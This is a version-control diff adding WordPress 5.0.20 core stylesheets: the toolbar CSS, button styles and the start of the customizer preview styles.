+#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li {
+	margin-left: 88px;
+}
+
+#wpadminbar #wp-admin-bar-user-info {
+	margin-top: 6px;
+	margin-bottom: 15px;
+	height: auto;
+	background: none;
+}
+
+#wp-admin-bar-user-info .avatar {
+	position: absolute;
+	left: -72px;
+	top: 4px;
+	width: 64px;
+	height: 64px;
+}
+
+#wpadminbar #wp-admin-bar-user-info a {
+	background: none;
+	height: auto;
+}
+
+#wpadminbar #wp-admin-bar-user-info span {
+	background: none;
+	padding: 0;
+	height: 18px;
+}
+
+#wpadminbar #wp-admin-bar-user-info .display-name,
+#wpadminbar #wp-admin-bar-user-info .username {
+	display: block;
+}
+
+#wpadminbar #wp-admin-bar-user-info .username {
+	color: #a0a5aa;
+	font-size: 11px;
+}
+
+#wpadminbar #wp-admin-bar-my-account.with-avatar > .ab-empty-item img,
+#wpadminbar #wp-admin-bar-my-account.with-avatar > a img {
+	width: auto;
+	height: 16px;
+	padding: 0;
+	border: 1px solid #82878c;
+	background: #eee;
+	line-height: 24px;
+	vertical-align: middle;
+	margin: -4px 0 0 6px;
+	float: none;
+	display: inline;
+}
+
+#wpadminbar.ie8 #wp-admin-bar-my-account.with-avatar > .ab-empty-item img,
+#wpadminbar.ie8 #wp-admin-bar-my-account.with-avatar > a img {
+	width: auto;
+}
+
+/**
+ * WP Logo
+ */
+#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon {
+	width: 15px;
+	height: 20px;
+	margin-right: 0;
+	padding: 6px 0 5px;
+}
+
+#wpadminbar #wp-admin-bar-wp-logo > .ab-item {
+	padding: 0 7px;
+}
+
+#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
+	content: "\f120";
+	top: 2px;
+}
+
+/*
+ * My Sites & Site Title
+ */
+#wpadminbar .quicklinks li .blavatar {
+	float: left;
+	font: normal 16px/1 dashicons !important;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	color: #eee;
+}
+
+#wpadminbar .quicklinks li a:hover .blavatar,
+#wpadminbar .quicklinks li a:focus .blavatar,
+#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar {
+	color: #00b9eb;
+}
+
+#wpadminbar .quicklinks li .blavatar:before {
+	content: "\f120";
+	height: 16px;
+	width: 16px;
+	display: inline-block;
+	margin: 6px 8px 0 -2px;
+}
+
+#wpadminbar #wp-admin-bar-appearance {
+	margin-top: -12px;
+}
+
+#wpadminbar #wp-admin-bar-my-sites > .ab-item:before,
+#wpadminbar #wp-admin-bar-site-name > .ab-item:before {
+	content: "\f541";
+	top: 2px;
+}
+
+#wpadminbar #wp-admin-bar-customize > .ab-item:before {
+	content: "\f540";
+	top: 2px;
+}
+
+
+#wpadminbar #wp-admin-bar-edit > .ab-item:before {
+	content: "\f464";
+	top: 2px;
+}
+
+#wpadminbar #wp-admin-bar-site-name > .ab-item:before {
+	content: "\f226";
+}
+
+.wp-admin #wpadminbar #wp-admin-bar-site-name > .ab-item:before {
+	content: "\f102";
+}
+
+
+
+/**
+ * Comments
+ */
+#wpadminbar #wp-admin-bar-comments .ab-icon {
+	margin-right: 6px;
+}
+
+#wpadminbar #wp-admin-bar-comments .ab-icon:before {
+	content: "\f101";
+	top: 3px;
+}
+
+#wpadminbar #wp-admin-bar-comments .count-0 {
+	opacity: .5;
+}
+
+/**
+ * New Content
+ */
+#wpadminbar #wp-admin-bar-new-content .ab-icon:before {
+	content: "\f132";
+	top: 4px;
+}
+
+/**
+ * Updates
+ */
+#wpadminbar #wp-admin-bar-updates .ab-icon:before {
+	content: "\f463";
+	top: 2px;
+}
+
+/**
+ * Search
+ */
+#wpadminbar.ie8 #wp-admin-bar-search {
+	display: block;
+	min-width: 32px;
+}
+#wpadminbar #wp-admin-bar-search .ab-item {
+	padding: 0;
+	background: transparent;
+}
+
+#wpadminbar #adminbarsearch {
+	position: relative;
+	height: 32px;
+	padding: 0 2px;
+	z-index: 1;
+}
+
+#wpadminbar #adminbarsearch:before {
+	position: absolute;
+	top: 6px;
+	left: 5px;
+	z-index: 20;
+	font: normal 20px/1 dashicons !important;
+	content: "\f179";
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+/* The admin bar search field needs to reset many styles that might be inherited from the active Theme CSS. See ticket #40313. */
+#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input {
+	display: inline-block;
+	float: none;
+	position: relative;
+	z-index: 30;
+	font-size: 13px;
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+	line-height: 24px;
+	text-indent: 0;
+	height: 24px;
+	width: 24px;
+	max-width: none;
+	padding: 0 3px 0 24px;
+	margin: 0;
+	color: #ccc;
+	background-color: rgba( 255, 255, 255, 0 );
+	border: none;
+	outline: none;
+	cursor: pointer;
+	box-shadow: none;
+	box-sizing: border-box;
+	transition-duration: 400ms;
+	transition-property: width, background;
+	transition-timing-function: ease;
+}
+
+#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
+	z-index: 10;
+	color: #000;
+	width: 200px;
+	background-color: rgba( 255, 255, 255, 0.9 );
+	cursor: text;
+	border: 0;
+}
+
+#wpadminbar.ie7 > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input {
+	margin-top: 3px;
+	width: 120px;
+}
+
+#wpadminbar.ie8 > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input {
+	/* IE8 z-index bug with transparent / empty elements - fill in with an encoded transparent GIF */
+	background: transparent 0 0 repeat scroll url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBR‌​AA7");
+}
+
+/* IE8 doesn't redraw the pseudo elements unless you make a change to the content */
+#wpadminbar.ie8 #adminbarsearch.adminbar-focused:before {
+	content: "\f179 "; /* extra space */
+}
+
+#wpadminbar.ie8 > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
+	background: #fff;
+	z-index: -1;
+}
+
+#wpadminbar #adminbarsearch .adminbar-button {
+	display: none;
+}
+
+/**
+ * Customize support classes
+ */
+.no-customize-support .hide-if-no-customize,
+.customize-support .hide-if-customize,
+.no-customize-support #wpadminbar .hide-if-no-customize,
+.no-customize-support.wp-core-ui .hide-if-no-customize,
+.no-customize-support .wp-core-ui .hide-if-no-customize,
+.customize-support #wpadminbar .hide-if-customize,
+.customize-support.wp-core-ui .hide-if-customize,
+.customize-support .wp-core-ui .hide-if-customize {
+	display: none;
+}
+
+/* Skip link */
+#wpadminbar .screen-reader-text,
+#wpadminbar .screen-reader-text span {
+	border: 0;
+	clip: rect(1px, 1px, 1px, 1px);
+	-webkit-clip-path: inset(50%);
+	clip-path: inset(50%);
+	height: 1px;
+	margin: -1px;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	width: 1px;
+	word-wrap: normal !important;
+}
+
+#wpadminbar .screen-reader-shortcut {
+	position: absolute;
+	top: -1000em;
+}
+
+#wpadminbar .screen-reader-shortcut:focus {
+	left: 6px;
+	top: 7px;
+	height: auto;
+	width: auto;
+	display: block;
+	font-size: 14px;
+	font-weight: 600;
+	padding: 15px 23px 14px;
+	background: #f1f1f1;
+	color: #0073aa;
+	z-index: 100000;
+	line-height: normal;
+	text-decoration: none;
+	box-shadow: 0 0 2px 2px rgba(0,0,0,.6);
+}
+
+/**
+ * IE 6-targeted rules
+ */
+* html #wpadminbar {
+	overflow: hidden;
+	position: absolute;
+}
+
+* html #wpadminbar .quicklinks ul li a {
+	float: left;
+}
+
+* html #wpadminbar .menupop a span {
+	background-image: none;
+}
+
+/* No @font-face support */
+.no-font-face #wpadminbar ul.ab-top-menu > li > a.ab-item {
+	display: block;
+	width: 45px;
+	text-align: center;
+	overflow: hidden;
+	margin: 0 3px;
+}
+
+.no-font-face #wpadminbar #wp-admin-bar-my-sites > .ab-item,
+.no-font-face #wpadminbar #wp-admin-bar-site-name > .ab-item,
+.no-font-face #wpadminbar #wp-admin-bar-edit > .ab-item {
+	text-indent: 0;
+}
+
+.no-font-face #wpadminbar .ab-icon,
+.no-font-face #wpadminbar .ab-icon:before,
+.no-font-face #wpadminbar a.ab-item:before,
+.no-font-face #wpadminbar #wp-admin-bar-wp-logo > .ab-item {
+	display: none !important;
+}
+
+.no-font-face #wpadminbar ul.ab-top-menu > li > a > span.ab-label {
+	display: inline;
+}
+
+.no-font-face #wpadminbar #wp-admin-bar-menu-toggle span.ab-icon {
+	display: inline !important;
+}
+
+.no-font-face #wpadminbar #wp-admin-bar-menu-toggle span.ab-icon:before {
+	content: "Menu";
+	font: 14px/45px sans-serif !important;
+	display: inline-block !important;
+	color: #fff;
+}
+
+.no-font-face #wpadminbar #wp-admin-bar-site-name a.ab-item {
+	color: #fff;
+}
+/* End no @font-face */
+
+@media screen and ( max-width: 782px ) {
+	/* Toolbar Touchification*/
+	html #wpadminbar {
+		height: 46px;
+		min-width: 300px;
+	}
+
+	#wpadminbar * {
+		font-size: 14px;
+		font-weight: 400;
+		font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+		line-height: 32px;
+	}
+
+	#wpadminbar .quicklinks > ul > li > a,
+	#wpadminbar .quicklinks .ab-empty-item {
+		padding: 0;
+		height: 46px;
+		line-height: 46px;
+		width: auto;
+	}
+
+	#wpadminbar .ab-icon {
+		font: 40px/1 dashicons !important;
+		margin: 0;
+		padding: 0;
+		width: 52px;
+		height: 46px;
+		text-align: center;
+	}
+
+	#wpadminbar .ab-icon:before {
+		text-align: center;
+	}
+
+	#wpadminbar .ab-submenu {
+		padding: 0;
+	}
+
+	#wpadminbar #wp-admin-bar-site-name a.ab-item,
+	#wpadminbar #wp-admin-bar-my-sites a.ab-item,
+	#wpadminbar #wp-admin-bar-my-account a.ab-item {
+		text-overflow: clip;
+	}
+
+	#wpadminbar .ab-label {
+		display: none;
+	}
+
+	#wpadminbar .menupop li:hover > .ab-sub-wrapper,
+	#wpadminbar .menupop li.hover > .ab-sub-wrapper {
+		margin-top: -46px;
+	}
+
+	#wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop > .ab-item {
+		padding-right: 30px;
+	}
+
+	#wpadminbar .menupop .menupop > .ab-item:before {
+		top: 10px;
+		right: 6px;
+	}
+
+	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper .ab-item {
+		font-size: 16px;
+		padding: 8px 16px;
+	}
+
+	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper a:empty {
+		display: none;
+	}
+
+	/* WP logo */
+	#wpadminbar #wp-admin-bar-wp-logo > .ab-item {
+		padding: 0;
+	}
+
+	#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon {
+		padding: 0;
+		width: 52px;
+		height: 46px;
+		text-align: center;
+		vertical-align: top;
+	}
+
+	#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
+		font: 28px/1 dashicons !important;
+		top: -3px;
+	}
+
+	#wpadminbar .ab-icon,
+	#wpadminbar .ab-item:before {
+		padding: 0;
+	}
+
+	/* My Sites and "Site Title" menu */
+	#wpadminbar #wp-admin-bar-my-sites > .ab-item,
+	#wpadminbar #wp-admin-bar-site-name > .ab-item,
+	#wpadminbar #wp-admin-bar-customize > .ab-item,
+	#wpadminbar #wp-admin-bar-edit > .ab-item,
+	#wpadminbar #wp-admin-bar-my-account > .ab-item {
+		text-indent: 100%;
+		white-space: nowrap;
+		overflow: hidden;
+		width: 52px;
+		padding: 0;
+		color: #a0a5aa; /* @todo not needed? this text is hidden */
+		position: relative;
+	}
+
+	#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon,
+	#wpadminbar .ab-icon,
+	#wpadminbar .ab-item:before {
+		padding: 0;
+		margin-right: 0;
+	}
+
+	#wpadminbar #wp-admin-bar-edit > .ab-item:before,
+	#wpadminbar #wp-admin-bar-my-sites > .ab-item:before,
+	#wpadminbar #wp-admin-bar-site-name > .ab-item:before,
+	#wpadminbar #wp-admin-bar-customize > .ab-item:before,
+	#wpadminbar #wp-admin-bar-my-account > .ab-item:before {
+		display: block;
+		text-indent: 0;
+		font: normal 32px/1 dashicons;
+		speak: none;
+		top: 7px;
+		width: 52px;
+		text-align: center;
+		-webkit-font-smoothing: antialiased;
+		-moz-osx-font-smoothing: grayscale;
+	}
+
+	#wpadminbar #wp-admin-bar-appearance {
+		margin-top: 0;
+	}
+
+	#wpadminbar .quicklinks li .blavatar:before {
+		display: none;
+	}
+
+	/* Search */
+	#wpadminbar #wp-admin-bar-search {
+		display: none;
+	}
+
+	/* New Content */
+	#wpadminbar #wp-admin-bar-new-content .ab-icon:before {
+		top: 0;
+		line-height: 53px;
+		height: 46px !important;
+		text-align: center;
+		width: 52px;
+		display: block;
+	}
+
+	/* Updates */
+	#wpadminbar #wp-admin-bar-updates {
+		text-align: center;
+	}
+
+	#wpadminbar #wp-admin-bar-updates .ab-icon:before {
+		top: 3px;
+	}
+
+	/* Comments */
+	#wpadminbar #wp-admin-bar-comments .ab-icon {
+		margin: 0;
+	}
+
+	#wpadminbar #wp-admin-bar-comments .ab-icon:before {
+		display: block;
+		font-size: 34px;
+		height: 46px;
+		line-height: 47px;
+		top: 0;
+	}
+
+	/* My Account */
+	#wpadminbar #wp-admin-bar-my-account > a {
+		position: relative;
+		white-space: nowrap;
+		text-indent: 150%; /* More than 100% indention is needed since this element has padding */
+		width: 28px;
+		padding: 0 10px;
+		overflow: hidden; /* Prevent link text from forcing horizontal scrolling on mobile */
+	}
+
+	#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
+		position: absolute;
+		top: 13px;
+		right: 10px;
+		width: 26px;
+		height: 26px;
+	}
+
+	#wpadminbar #wp-admin-bar-user-actions.ab-submenu {
+		padding: 0;
+	}
+
+	#wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar {
+		display: none;
+	}
+
+	#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li {
+		margin: 0;
+	}
+
+	#wpadminbar #wp-admin-bar-user-info .display-name {
+		height: auto;
+		font-size: 16px;
+		line-height: 24px;
+		color: #eee;
+	}
+
+	#wpadminbar #wp-admin-bar-user-info a {
+		padding-top: 4px;
+	}
+
+	#wpadminbar #wp-admin-bar-user-info .username {
+		line-height: 0.8 !important;
+		margin-bottom: -2px;
+	}
+
+	/* Show only default top level items */
+	#wp-toolbar > ul > li {
+		display: none;
+	}
+
+	#wpadminbar li#wp-admin-bar-menu-toggle,
+	#wpadminbar li#wp-admin-bar-wp-logo,
+	#wpadminbar li#wp-admin-bar-my-sites,
+	#wpadminbar li#wp-admin-bar-updates,
+	#wpadminbar li#wp-admin-bar-site-name,
+	#wpadminbar li#wp-admin-bar-customize,
+	#wpadminbar li#wp-admin-bar-new-content,
+	#wpadminbar li#wp-admin-bar-edit,
+	#wpadminbar li#wp-admin-bar-comments,
+	#wpadminbar li#wp-admin-bar-my-account {
+		display: block;
+	}
+
+	/* Allow dropdown list items to appear normally */
+	#wpadminbar li:hover ul li,
+	#wpadminbar li.hover ul li,
+	#wpadminbar li:hover ul li:hover ul li {
+		display: list-item;
+	}
+
+	/* Override default min-width so dropdown lists aren't stretched
+		to 100% viewport width at responsive sizes. */
+	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
+		min-width: -webkit-fit-content;
+		min-width: -moz-fit-content;
+		min-width: fit-content;
+	}
+
+	#wpadminbar ul#wp-admin-bar-root-default > li {
+		margin-right: 0;
+	}
+
+	/* Experimental fix for touch toolbar dropdown positioning */
+	#wpadminbar .ab-top-menu,
+	#wpadminbar .ab-top-secondary,
+	#wpadminbar #wp-admin-bar-wp-logo,
+	#wpadminbar #wp-admin-bar-my-sites,
+	#wpadminbar #wp-admin-bar-site-name,
+	#wpadminbar #wp-admin-bar-updates,
+	#wpadminbar #wp-admin-bar-comments,
+	#wpadminbar #wp-admin-bar-new-content,
+	#wpadminbar #wp-admin-bar-edit,
+	#wpadminbar #wp-admin-bar-my-account {
+		position: static;
+	}
+
+	#wpadminbar #wp-admin-bar-my-account {
+		float: right;
+	}
+
+	.network-admin #wpadminbar ul#wp-admin-bar-top-secondary > li#wp-admin-bar-my-account {
+		margin-right: 0;
+	}
+
+	/* Realign arrows on taller responsive submenus */
+
+	#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
+		top: 10px;
+		left: 0;
+	}
+}
+
+/* Smartphone */
+@media screen and (max-width: 600px) {
+	#wpadminbar {
+		position: absolute;
+	}
+
+	#wp-responsive-overlay {
+		position: fixed;
+		top: 0;
+		left: 0;
+		width: 100%;
+		height: 100%;
+		z-index: 400;
+	}
+
+	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
+		width: 100%;
+		left: 0;
+	}
+
+	#wpadminbar .menupop .menupop > .ab-item:before {
+		display: none;
+	}
+
+	#wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper {
+		margin-left: 0;
+	}
+
+	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper {
+		margin: 0;
+		width: 100%;
+		top: auto;
+		left: auto;
+		position: relative;
+	}
+
+	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper .ab-item {
+		font-size: 16px;
+		padding: 6px 15px 19px 30px;
+	}
+
+	#wpadminbar li:hover ul li ul li {
+		display: list-item;
+	}
+
+	#wpadminbar li#wp-admin-bar-wp-logo,
+	#wpadminbar li#wp-admin-bar-updates {
+		display: none;
+	}
+
+	/* Make submenus full-width at this size */
+
+	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper {
+		position: static;
+		box-shadow: none;
+	}
+}
+
+/* Very narrow screens */
+@media screen and (max-width: 400px) {
+	#wpadminbar li#wp-admin-bar-comments {
+		display: none;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/css/buttons.css
===================================================================
--- /tags/5.0.20/src/wp-includes/css/buttons.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/css/buttons.css	(revision 56912)
@@ -0,0 +1,394 @@
+/* ----------------------------------------------------------------------------
+
+NOTE: If you edit this file, you should make sure that the CSS rules for
+buttons in the following files are updated.
+
+* jquery-ui-dialog.css
+* editor.css
+
+WordPress-style Buttons
+=======================
+Create a button by adding the `.button` class to an element. For backward
+compatibility, we support several other classes (such as `.button-secondary`),
+but these will *not* work with the stackable classes described below.
+
+Button Styles
+-------------
+To display a primary button style, add the `.button-primary` class to a button.
+
+Button Sizes
+------------
+Adjust a button's size by adding the `.button-large` or `.button-small` class.
+
+Button States
+-------------
+Lock the state of a button by adding the name of the pseudoclass as
+an actual class (e.g. `.hover` for `:hover`).
+
+
+TABLE OF CONTENTS:
+------------------
+ 1.0 - Button Layouts
+ 2.0 - Default Button Style
+ 3.0 - Primary Button Style
+ 4.0 - Button Groups
+ 5.0 - Responsive Button Styles
+
+---------------------------------------------------------------------------- */
+
+/* ----------------------------------------------------------------------------
+  1.0 - Button Layouts
+---------------------------------------------------------------------------- */
+
+.wp-core-ui .button,
+.wp-core-ui .button-primary,
+.wp-core-ui .button-secondary {
+	display: inline-block;
+	text-decoration: none;
+	font-size: 13px;
+	line-height: 26px;
+	height: 28px;
+	margin: 0;
+	padding: 0 10px 1px;
+	cursor: pointer;
+	border-width: 1px;
+	border-style: solid;
+	-webkit-appearance: none;
+	border-radius: 3px;
+	white-space: nowrap;
+	box-sizing: border-box;
+}
+
+/* Remove the dotted border on :focus and the extra padding in Firefox */
+.wp-core-ui button::-moz-focus-inner,
+.wp-core-ui input[type="reset"]::-moz-focus-inner,
+.wp-core-ui input[type="button"]::-moz-focus-inner,
+.wp-core-ui input[type="submit"]::-moz-focus-inner {
+	border-width: 0;
+	border-style: none;
+	padding: 0;
+}
+
+.wp-core-ui .button.button-large,
+.wp-core-ui .button-group.button-large .button {
+	height: 30px;
+    line-height: 28px;
+    padding: 0 12px 2px;
+}
+
+.wp-core-ui .button.button-small,
+.wp-core-ui .button-group.button-small .button {
+	height: 24px;
+	line-height: 22px;
+	padding: 0 8px 1px;
+	font-size: 11px;
+}
+
+.wp-core-ui .button.button-hero,
+.wp-core-ui .button-group.button-hero .button {
+	font-size: 14px;
+	height: 46px;
+	line-height: 44px;
+	padding: 0 36px;
+}
+
+.wp-core-ui .button:active,
+.wp-core-ui .button:focus {
+	outline: none;
+}
+
+.wp-core-ui .button.hidden {
+	display: none;
+}
+
+/* Style Reset buttons as simple text links */
+
+.wp-core-ui input[type="reset"],
+.wp-core-ui input[type="reset"]:hover,
+.wp-core-ui input[type="reset"]:active,
+.wp-core-ui input[type="reset"]:focus {
+	background: none;
+	border: none;
+	box-shadow: none;
+	padding: 0 2px 1px;
+	width: auto;
+}
+
+/* ----------------------------------------------------------------------------
+  2.0 - Default Button Style
+---------------------------------------------------------------------------- */
+
+.wp-core-ui .button,
+.wp-core-ui .button-secondary {
+	color: #555;
+	border-color: #cccccc;
+	background: #f7f7f7;
+	box-shadow: 0 1px 0 #cccccc;
+ 	vertical-align: top;
+}
+
+.wp-core-ui p .button {
+	vertical-align: baseline;
+}
+
+.wp-core-ui .button.hover,
+.wp-core-ui .button:hover,
+.wp-core-ui .button-secondary:hover,
+.wp-core-ui .button.focus,
+.wp-core-ui .button:focus,
+.wp-core-ui .button-secondary:focus {
+	background: #fafafa;
+	border-color: #999;
+	color: #23282d;
+}
+
+.wp-core-ui .button.focus,
+.wp-core-ui .button:focus,
+.wp-core-ui .button-secondary:focus {
+	border-color: #5b9dd9;
+	box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
+}
+
+.wp-core-ui .button.active,
+.wp-core-ui .button.active:hover,
+.wp-core-ui .button:active,
+.wp-core-ui .button-secondary:active {
+	background: #eee;
+	border-color: #999;
+	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+	transform: translateY(1px);
+}
+
+.wp-core-ui .button.active:focus {
+	border-color: #5b9dd9;
+	box-shadow:
+		inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ),
+		0 0 3px rgba( 0, 115, 170, .8 );
+}
+
+.wp-core-ui .button[disabled],
+.wp-core-ui .button:disabled,
+.wp-core-ui .button.disabled,
+.wp-core-ui .button-secondary[disabled],
+.wp-core-ui .button-secondary:disabled,
+.wp-core-ui .button-secondary.disabled,
+.wp-core-ui .button-disabled {
+	color: #a0a5aa !important;
+	border-color: #ddd !important;
+	background: #f7f7f7 !important;
+	box-shadow: none !important;
+	text-shadow: 0 1px 0 #fff !important;
+	cursor: default;
+	transform: none !important;
+}
+
+/* Buttons that look like links, for a cross of good semantics with the visual */
+.wp-core-ui .button-link {
+	margin: 0;
+	padding: 0;
+	box-shadow: none;
+	border: 0;
+	border-radius: 0;
+	background: none;
+	outline: none;
+	cursor: pointer;
+	text-align: left;
+	/* Mimics the default link style in common.css */
+	color: #0073aa;
+	text-decoration: underline;
+	transition-property: border, background, color;
+	transition-duration: .05s;
+	transition-timing-function: ease-in-out;
+}
+
+.wp-core-ui .button-link:hover,
+.wp-core-ui .button-link:active {
+	color: #00a0d2;
+}
+
+.wp-core-ui .button-link:focus {
+	color: #124964;
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.wp-core-ui .button-link-delete {
+	color: #a00;
+}
+
+.wp-core-ui .button-link-delete:hover,
+.wp-core-ui .button-link-delete:focus {
+	color: #dc3232;
+}
+
+.ie8 .wp-core-ui .button-link:focus {
+	outline: #5b9dd9 solid 1px;
+}
+
+/* ----------------------------------------------------------------------------
+  3.0 - Primary Button Style
+---------------------------------------------------------------------------- */
+
+.wp-core-ui .button-primary {
+	background: #0085ba;
+	border-color: #0073aa #006799 #006799;
+	box-shadow: 0 1px 0 #006799;
+	color: #fff;
+	text-decoration: none;
+	text-shadow: 0 -1px 1px #006799,
+		1px 0 1px #006799,
+		0 1px 1px #006799,
+		-1px 0 1px #006799;
+}
+
+.wp-core-ui .button-primary.hover,
+.wp-core-ui .button-primary:hover,
+.wp-core-ui .button-primary.focus,
+.wp-core-ui .button-primary:focus {
+	background: #008ec2;
+	border-color: #006799;
+	color: #fff;
+}
+
+.wp-core-ui .button-primary.focus,
+.wp-core-ui .button-primary:focus {
+	box-shadow: 0 1px 0 #0073aa,
+		0 0 2px 1px #33b3db;
+}
+
+.wp-core-ui .button-primary.active,
+.wp-core-ui .button-primary.active:hover,
+.wp-core-ui .button-primary.active:focus,
+.wp-core-ui .button-primary:active {
+	background: #0073aa;
+	border-color: #006799;
+	box-shadow: inset 0 2px 0 #006799;
+	vertical-align: top;
+}
+
+.wp-core-ui .button-primary[disabled],
+.wp-core-ui .button-primary:disabled,
+.wp-core-ui .button-primary-disabled,
+.wp-core-ui .button-primary.disabled {
+	color: #66c6e4 !important;
+	background: #008ec2 !important;
+	border-color: #007cb2 !important;
+	box-shadow: none !important;
+	text-shadow: 0 -1px 0 rgba( 0, 0, 0, 0.1 ) !important;
+	cursor: default;
+}
+
+.wp-core-ui .button.button-primary.button-hero {
+ box-shadow: 0 2px 0 #006799;
+}
+
+.wp-core-ui .button.button-primary.button-hero.active,
+.wp-core-ui .button.button-primary.button-hero.active:hover,
+.wp-core-ui .button.button-primary.button-hero.active:focus,
+.wp-core-ui .button.button-primary.button-hero:active {
+ box-shadow: inset 0 3px 0 #006799;
+}
+
+/* ----------------------------------------------------------------------------
+  4.0 - Button Groups
+---------------------------------------------------------------------------- */
+
+.wp-core-ui .button-group {
+	position: relative;
+	display: inline-block;
+	white-space: nowrap;
+	font-size: 0;
+	vertical-align: middle;
+}
+
+.wp-core-ui .button-group > .button {
+	display: inline-block;
+	border-radius: 0;
+	margin-right: -1px;
+	z-index: 10;
+}
+
+.wp-core-ui .button-group > .button-primary {
+	z-index: 100;
+}
+
+.wp-core-ui .button-group > .button:hover {
+	z-index: 20;
+}
+
+.wp-core-ui .button-group > .button:first-child {
+	border-radius: 3px 0 0 3px;
+}
+
+.wp-core-ui .button-group > .button:last-child {
+	border-radius: 0 3px 3px 0;
+}
+
+.wp-core-ui .button-group > .button:focus {
+	position: relative;
+	z-index: 1;
+}
+
+/* ----------------------------------------------------------------------------
+  5.0 - Responsive Button Styles
+---------------------------------------------------------------------------- */
+
+@media screen and ( max-width: 782px ) {
+
+	.wp-core-ui .button,
+	.wp-core-ui .button.button-large,
+	.wp-core-ui .button.button-small,
+	input#publish,
+	input#save-post,
+	a.preview {
+		padding: 6px 14px;
+		line-height: normal;
+		font-size: 14px;
+		vertical-align: middle;
+		height: auto;
+		margin-bottom: 4px;
+	}
+
+	#media-upload.wp-core-ui .button {
+		padding: 0 10px 1px;
+		height: 24px;
+		line-height: 22px;
+		font-size: 13px;
+	}
+
+	.media-frame.mode-grid .bulk-select .button {
+		margin-bottom: 0;
+	}
+
+	/* Publish Metabox Options */
+	.wp-core-ui .save-post-status.button {
+		position: relative;
+		margin: 0 14px 0 10px; /* 14px right margin to match all other buttons */
+	}
+
+	/* Reset responsive styles in Press This, Customizer */
+
+	.wp-core-ui.wp-customizer .button {
+		padding: 0 10px 1px;
+		font-size: 13px;
+		line-height: 26px;
+		height: 28px;
+		margin: 0;
+		vertical-align: inherit;
+	}
+
+	.media-modal-content .media-toolbar-primary .media-button {
+		margin-top: 10px;
+		margin-left: 5px;
+	}
+
+	/* Reset responsive styles on Log in button on iframed login form */
+
+	.interim-login .button.button-large {
+		height: 30px;
+		line-height: 28px;
+		padding: 0 12px 2px;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/css/customize-preview.css
===================================================================
--- /tags/5.0.20/src/wp-includes/css/customize-preview.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/css/customize-preview.css	(revision 56912)
@@ -0,0 +1,165 @@
+.customize-partial-refreshing {
+	opacity: 0.25;
+	transition: opacity 0.25s;
+	cursor: progress;
+}
+
+/* Override highlight when refreshing */
+.customize-partial-refreshing.widget-customizer-highlighted-widget {
+	box-shadow: none;
+}
+
+/* Make shortcut buttons essentially invisible */
+.widget .customize-partial-edit-shortcut,
+.customize-partial-edit-shortcut {
+	position: absolute;
+	float: left;
+	width: 1px; /* required to have a size to be focusable in Safari */
+	height: 1px;
+	padding: 0;
+	margin: -1px 0 0 -1px;
+	border: 0;
+	background: transparent;
+	color: transparent;
+	box-shadow: none;
+	outline: none;
+	z-index: 5;
+}
+
+/**
+ * Styles for the actual shortcut
+ *
+ * Note that some properties are overly verbose to prevent theme interference.
+ */
+.widget .customize-partial-edit-shortcut button,
+.customize-partial-edit-shortcut button {
+	position: absolute;
+	left: -30px;
+	top: 2px;
+	color: #fff;
+	width: 30px;
+	height: 30px;
+	min-width: 30px;
+	min-height: 30px;
+	line-height: 1em !important;
+	font-size: 18px;
+	z-index: 5;
+	background: #0085ba !important;
+	border-radius: 50%;
+	border: 2px solid #fff;
+	box-shadow: 0 2px 1px rgba(46,68,83,0.15);
+	text-align: center;
+	cursor: pointer;
+	box-sizing: border-box;
+	padding: 3px;
+	animation-fill-mode: both;
+	animation-duration: .4s;
+	opacity: 0;
+	pointer-events: none;
+	text-shadow: 0 -1px 1px #006799,
+	             1px 0 1px #006799,
+	             0 1px 1px #006799,
+	             -1px 0 1px #006799;
+}
